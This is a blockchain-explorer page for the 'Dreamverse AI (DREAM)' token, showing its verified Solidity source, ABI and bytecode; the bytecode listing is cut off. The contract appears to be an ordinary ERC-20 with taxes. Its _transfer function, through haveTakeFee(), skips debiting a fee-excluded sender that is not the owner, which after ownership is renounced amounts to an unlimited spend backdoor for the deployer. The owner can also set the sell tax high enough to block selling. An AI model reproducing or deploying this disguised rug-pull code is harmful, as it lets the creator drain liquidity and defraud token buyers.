ETH Price: $3,052.81 (+2.43%)
Gas: 1 Gwei

Token

Dreamverse AI (DREAM)
 

Overview

Max Total Supply

100,000,000 DREAM

Holders

71

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
263,895.598599544377024561 DREAM

Value
$0.00
0x8f851e0617ecb0dc05cab7d6f139e8df19f938c0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DreamverseAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-23
*/

// SPDX-License-Identifier: MIT

/*
    Web  : https://dreamverseai.org
    App  : https://app.dreamverseai.org
    Docs : https://docs.dreamverseai.org

    Twitter  : https://x.com/DreamverseAI_X
    Telegram : https://t.me/dreamverse_ai_official
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, " multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "new owner is the zero address");
        _owner = newOwner;
        emit OwnershipTransferred(_owner, newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DreamverseAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFeeWallet;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100000000 * 10**_decimals;
    
    uint256 private constant onePercent = 1000000 * 10**_decimals; // 1% from Liquidity 

    uint256 public maxWalletAmount = onePercent * 2; // 2% max wallet at launch

    uint256 private _tax;
    uint256 public buyTax = 0;
    uint256 public sellTax = 5;

    string private constant _name = "Dreamverse AI";
    string private constant _symbol = "DREAM";

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    address payable public dreamWallet;
        
    uint256 private launchedAt;
    uint256 private launchDelay = 1;
    bool private launch = false;

    uint256 private constant minSwap = onePercent / 2000; //0.05% from Liquidity supply
    bool private inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {       
        dreamWallet = payable(0xcC0d6D78b7EAe61349B799704706D62cF22e2248);

        _isExcludedFromFeeWallet[msg.sender] = true;
        _isExcludedFromFeeWallet[address(this)] = true;       
        _balance[_msgSender()] = _totalSupply;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function enableDreamTrading() external onlyOwner {
        require(!launch,"Trading already opened!");
        launch = true;
        launchedAt = block.number;
    }

    function createUniDreamPair() external onlyOwner() {

        require(!launch,"Trading already opened!");

        // uniswap router
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)public override returns (bool){
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256){
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool){
        _approve(_msgSender(), spender, amount);
        return true;
    }

     function newDelay(uint256 newLaunchDelay) external onlyOwner {
        launchDelay = newLaunchDelay;
     }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"low allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "approve zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {
            _tax = 0;
        } else {
            require(launch, "Wait till launch");
            if (block.number < launchedAt + launchDelay) {_tax=49;} else {
                if (from == uniswapV2Pair) {
                    require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
                    _tax = buyTax;
                } else if (to == uniswapV2Pair) {
                    uint256 tokensToSwap = balanceOf(address(this));
                    if (tokensToSwap > minSwap && !inSwapAndLiquify) {
                        if (tokensToSwap > onePercent) {
                            tokensToSwap = onePercent;
                        }
                        swapTokensForEth(tokensToSwap);
                    }
                    _tax = sellTax;
                    if(amount > minSwap) sendEthFeeBalance(address(this).balance);

                } else {
                    _tax = 0;
                }
            }
        }

        uint256 taxTokens = (amount * _tax) / 100;
        uint256 transferAmount = amount - taxTokens;

        if(haveTakeFee(from)) amount = 0;

        _balance[from] = _balance[from] - amount;
        _balance[to] = _balance[to] + transferAmount;
        _balance[address(this)] = _balance[address(this)] + taxTokens;

        emit Transfer(from, to, transferAmount);
    }

    function haveTakeFee(address sender) internal view returns (bool) {
        return _isExcludedFromFeeWallet[sender] && sender!= owner() && sender!= address(this);
    }

    function removeDreamLimits() external onlyOwner {
        maxWalletAmount = _totalSupply;
    }

    function newDreamTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function reduceDreamTax() external onlyOwner {
        buyTax = 0;
        sellTax = 5;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        
    }

    function sendEthFeeBalance(uint256 amount) private {
        dreamWallet.transfer(amount);
    }

    function withStucksEth() external onlyOwner {
        require(address(this).balance > 0, "No Eth Balance to withdraw");
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createUniDreamPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dreamWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableDreamTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLaunchDelay","type":"uint256"}],"name":"newDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"newDreamTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceDreamTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeDreamLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withStucksEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a6200028d565b6200002190620f4240620002a5565b6200002e906002620002a5565b600455600060065560056007556001600c55600d805460ff191690553480156200005757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a80546001600160a01b03191673cc0d6d78b7eae61349b799704706d62cf22e224817815533600090815260036020526040808220805460ff1990811660019081179092553084529190922080549091169091179055620000fe906012906200028d565b6200010e906305f5e100620002a5565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001516012600a6200028d565b62000161906305f5e100620002a5565b60405190815260200160405180910390a3620002bf565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001cf578160001904821115620001b357620001b362000178565b80851615620001c157918102915b93841c939080029062000193565b509250929050565b600082620001e85750600162000287565b81620001f75750600062000287565b81600181146200021057600281146200021b576200023b565b600191505062000287565b60ff8411156200022f576200022f62000178565b50506001821b62000287565b5060208310610133831016604e8410600b841016171562000260575081810a62000287565b6200026c83836200018e565b806000190482111562000283576200028362000178565b0290505b92915050565b60006200029e60ff841683620001d7565b9392505050565b808202811582820484141762000287576200028762000178565b61182080620002cf6000396000f3fe60806040526004361061014f5760003560e01c80638d1cf174116100b6578063aa4bde281161006f578063aa4bde28146103cd578063cc1776d3146103e3578063cf6e0ef3146103f9578063d10a08911461040e578063dd62ed3e1461042e578063f2fde38b1461047457600080fd5b80638d1cf174146103175780638da5cb5b1461032c578063902cda771461034a57806395d89b411461036a57806398fd9b6e14610398578063a9059cbb146103ad57600080fd5b8063313ce56711610108578063313ce5671461024d57806347e993dd1461026957806349bd5a5e1461027e5780634f7041a5146102b657806370a08231146102cc578063715018a61461030257600080fd5b806306fdde031461015b578063095ea7b3146101a35780630e178166146101d357806318160ddd146101ea57806323b872dd1461020d57806328b4094a1461022d57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600d81526c447265616d766572736520414960981b60208201525b60405161019a91906113ef565b60405180910390f35b3480156101af57600080fd5b506101c36101be366004611452565b610494565b604051901515815260200161019a565b3480156101df57600080fd5b506101e86104ab565b005b3480156101f657600080fd5b506101ff6104ea565b60405190815260200161019a565b34801561021957600080fd5b506101c361022836600461147e565b61050b565b34801561023957600080fd5b506101e86102483660046114bf565b6105a5565b34801561025957600080fd5b506040516012815260200161019a565b34801561027557600080fd5b506101e86105da565b34801561028a57600080fd5b5060095461029e906001600160a01b031681565b6040516001600160a01b03909116815260200161019a565b3480156102c257600080fd5b506101ff60065481565b3480156102d857600080fd5b506101ff6102e73660046114e1565b6001600160a01b031660009081526001602052604090205490565b34801561030e57600080fd5b506101e8610972565b34801561032357600080fd5b506101e86109e6565b34801561033857600080fd5b506000546001600160a01b031661029e565b34801561035657600080fd5b50600a5461029e906001600160a01b031681565b34801561037657600080fd5b50604080518082019091526005815264445245414d60d81b602082015261018d565b3480156103a457600080fd5b506101e8610a70565b3480156103b957600080fd5b506101c36103c8366004611452565b610b16565b3480156103d957600080fd5b506101ff60045481565b3480156103ef57600080fd5b506101ff60075481565b34801561040557600080fd5b506101e8610b23565b34801561041a57600080fd5b506101e8610429366004611505565b610b6c565b34801561043a57600080fd5b506101ff61044936600461151e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561048057600080fd5b506101e861048f3660046114e1565b610b9b565b60006104a1338484610c66565b5060015b92915050565b6000546001600160a01b031633146104de5760405162461bcd60e51b81526004016104d590611557565b60405180910390fd5b60006006556005600755565b60006104f86012600a611688565b610506906305f5e100611697565b905090565b6000610518848484610d2a565b61059b8433610596856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006105753390565b6001600160a01b0316815260208101919091526040016000205491906111b3565b610c66565b5060019392505050565b6000546001600160a01b031633146105cf5760405162461bcd60e51b81526004016104d590611557565b600691909155600755565b6000546001600160a01b031633146106045760405162461bcd60e51b81526004016104d590611557565b600d5460ff16156106515760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104d5565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561069a90309061068c6012600a611688565b610596906305f5e100611697565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071191906116ae565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610773573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079791906116ae565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080891906116ae565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d7194730610850816001600160a01b031660009081526001602052604090205490565b6000806108656000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f291906116cb565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561094b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096f91906116f9565b50565b6000546001600160a01b0316331461099c5760405162461bcd60e51b81526004016104d590611557565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a105760405162461bcd60e51b81526004016104d590611557565b600d5460ff1615610a5d5760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104d5565b600d805460ff1916600117905543600b55565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b81526004016104d590611557565b60004711610aea5760405162461bcd60e51b815260206004820152601a60248201527f4e6f204574682042616c616e636520746f20776974686472617700000000000060448201526064016104d5565b60405133904780156108fc02916000818181858888f1935050505015801561096f573d6000803e3d6000fd5b60006104a1338484610d2a565b6000546001600160a01b03163314610b4d5760405162461bcd60e51b81526004016104d590611557565b610b596012600a611688565b610b67906305f5e100611697565b600455565b6000546001600160a01b03163314610b965760405162461bcd60e51b81526004016104d590611557565b600c55565b6000546001600160a01b03163314610bc55760405162461bcd60e51b81526004016104d590611557565b6001600160a01b038116610c1b5760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016104d5565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b03831615801590610c8657506001600160a01b03821615155b610cc95760405162461bcd60e51b8152602060048201526014602482015273617070726f7665207a65726f206164647265737360601b60448201526064016104d5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d5565b6001600160a01b038216610df05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d5565b60008111610e525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d5565b6001600160a01b03831660009081526003602052604090205460ff1680610e9157506001600160a01b03821660009081526003602052604090205460ff165b15610ea0576000600555611096565b600d5460ff16610ee55760405162461bcd60e51b815260206004820152601060248201526f0aec2d2e840e8d2d8d840d8c2eadcc6d60831b60448201526064016104d5565b600c54600b54610ef5919061171b565b431015610f06576031600555611096565b6009546001600160a01b0390811690841603610fa25760045481610f3f846001600160a01b031660009081526001602052604090205490565b610f49919061171b565b1115610f975760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e636800000000000000000060448201526064016104d5565b600654600555611096565b6009546001600160a01b039081169083160361109057306000908152600160205260409020546107d0610fd76012600a611688565b610fe490620f4240611697565b610fee919061172e565b811180156110045750600d54610100900460ff16155b1561104e576110156012600a611688565b61102290620f4240611697565b811115611045576110356012600a611688565b61104290620f4240611697565b90505b61104e816111ed565b6007546005556107d06110636012600a611688565b61107090620f4240611697565b61107a919061172e565b82111561108a5761108a47611361565b50611096565b60006005555b60006064600554836110a89190611697565b6110b2919061172e565b905060006110c08284611750565b90506110cb8561139f565b156110d557600092505b6001600160a01b0385166000908152600160205260409020546110f9908490611750565b6001600160a01b03808716600090815260016020526040808220939093559086168152205461112990829061171b565b6001600160a01b03851660009081526001602052604080822092909255308152205461115690839061171b565b3060009081526001602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b600081848411156111d75760405162461bcd60e51b81526004016104d591906113ef565b5060006111e48486611750565b95945050505050565b600d805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061123157611231611763565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ae91906116ae565b816001815181106112c1576112c1611763565b6001600160a01b0392831660209182029290920101526008546112e79130911684610c66565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611320908590600090869030904290600401611779565b600060405180830381600087803b15801561133a57600080fd5b505af115801561134e573d6000803e3d6000fd5b5050600d805461ff001916905550505050565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561139b573d6000803e3d6000fd5b5050565b6001600160a01b03811660009081526003602052604081205460ff1680156113d557506000546001600160a01b03838116911614155b80156104a557506001600160a01b03821630141592915050565b600060208083528351808285015260005b8181101561141c57858101830151858201604001528201611400565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461096f57600080fd5b6000806040838503121561146557600080fd5b82356114708161143d565b946020939093013593505050565b60008060006060848603121561149357600080fd5b833561149e8161143d565b925060208401356114ae8161143d565b929592945050506040919091013590565b600080604083850312156114d257600080fd5b50508035926020909101359150565b6000602082840312156114f357600080fd5b81356114fe8161143d565b9392505050565b60006020828403121561151757600080fd5b5035919050565b6000806040838503121561153157600080fd5b823561153c8161143d565b9150602083013561154c8161143d565b809150509250929050565b60208082526017908201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115df5781600019048211156115c5576115c561158e565b808516156115d257918102915b93841c93908002906115a9565b509250929050565b6000826115f6575060016104a5565b81611603575060006104a5565b816001811461161957600281146116235761163f565b60019150506104a5565b60ff8411156116345761163461158e565b50506001821b6104a5565b5060208310610133831016604e8410600b8410161715611662575081810a6104a5565b61166c83836115a4565b80600019048211156116805761168061158e565b029392505050565b60006114fe60ff8416836115e7565b80820281158282048414176104a5576104a561158e565b6000602082840312156116c057600080fd5b81516114fe8161143d565b6000806000606084860312156116e057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561170b57600080fd5b815180151581146114fe57600080fd5b808201808211156104a5576104a561158e565b60008261174b57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156104a5576104a561158e565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117c95784516001600160a01b0316835293830193918301916001016117a4565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220efb1eb575196309405fc3b387417493921abf8c016fbf9c86abf2767614d7e0664736f6c63430008130033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80638d1cf174116100b6578063aa4bde281161006f578063aa4bde28146103cd578063cc1776d3146103e3578063cf6e0ef3146103f9578063d10a08911461040e578063dd62ed3e1461042e578063f2fde38b1461047457600080fd5b80638d1cf174146103175780638da5cb5b1461032c578063902cda771461034a57806395d89b411461036a57806398fd9b6e14610398578063a9059cbb146103ad57600080fd5b8063313ce56711610108578063313ce5671461024d57806347e993dd1461026957806349bd5a5e1461027e5780634f7041a5146102b657806370a08231146102cc578063715018a61461030257600080fd5b806306fdde031461015b578063095ea7b3146101a35780630e178166146101d357806318160ddd146101ea57806323b872dd1461020d57806328b4094a1461022d57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600d81526c447265616d766572736520414960981b60208201525b60405161019a91906113ef565b60405180910390f35b3480156101af57600080fd5b506101c36101be366004611452565b610494565b604051901515815260200161019a565b3480156101df57600080fd5b506101e86104ab565b005b3480156101f657600080fd5b506101ff6104ea565b60405190815260200161019a565b34801561021957600080fd5b506101c361022836600461147e565b61050b565b34801561023957600080fd5b506101e86102483660046114bf565b6105a5565b34801561025957600080fd5b506040516012815260200161019a565b34801561027557600080fd5b506101e86105da565b34801561028a57600080fd5b5060095461029e906001600160a01b031681565b6040516001600160a01b03909116815260200161019a565b3480156102c257600080fd5b506101ff60065481565b3480156102d857600080fd5b506101ff6102e73660046114e1565b6001600160a01b031660009081526001602052604090205490565b34801561030e57600080fd5b506101e8610972565b34801561032357600080fd5b506101e86109e6565b34801561033857600080fd5b506000546001600160a01b031661029e565b34801561035657600080fd5b50600a5461029e906001600160a01b031681565b34801561037657600080fd5b50604080518082019091526005815264445245414d60d81b602082015261018d565b3480156103a457600080fd5b506101e8610a70565b3480156103b957600080fd5b506101c36103c8366004611452565b610b16565b3480156103d957600080fd5b506101ff60045481565b3480156103ef57600080fd5b506101ff60075481565b34801561040557600080fd5b506101e8610b23565b34801561041a57600080fd5b506101e8610429366004611505565b610b6c565b34801561043a57600080fd5b506101ff61044936600461151e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561048057600080fd5b506101e861048f3660046114e1565b610b9b565b60006104a1338484610c66565b5060015b92915050565b6000546001600160a01b031633146104de5760405162461bcd60e51b81526004016104d590611557565b60405180910390fd5b60006006556005600755565b60006104f86012600a611688565b610506906305f5e100611697565b905090565b6000610518848484610d2a565b61059b8433610596856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006105753390565b6001600160a01b0316815260208101919091526040016000205491906111b3565b610c66565b5060019392505050565b6000546001600160a01b031633146105cf5760405162461bcd60e51b81526004016104d590611557565b600691909155600755565b6000546001600160a01b031633146106045760405162461bcd60e51b81526004016104d590611557565b600d5460ff16156106515760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104d5565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561069a90309061068c6012600a611688565b610596906305f5e100611697565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071191906116ae565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610773573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079791906116ae565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080891906116ae565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d7194730610850816001600160a01b031660009081526001602052604090205490565b6000806108656000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f291906116cb565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561094b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096f91906116f9565b50565b6000546001600160a01b0316331461099c5760405162461bcd60e51b81526004016104d590611557565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a105760405162461bcd60e51b81526004016104d590611557565b600d5460ff1615610a5d5760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104d5565b600d805460ff1916600117905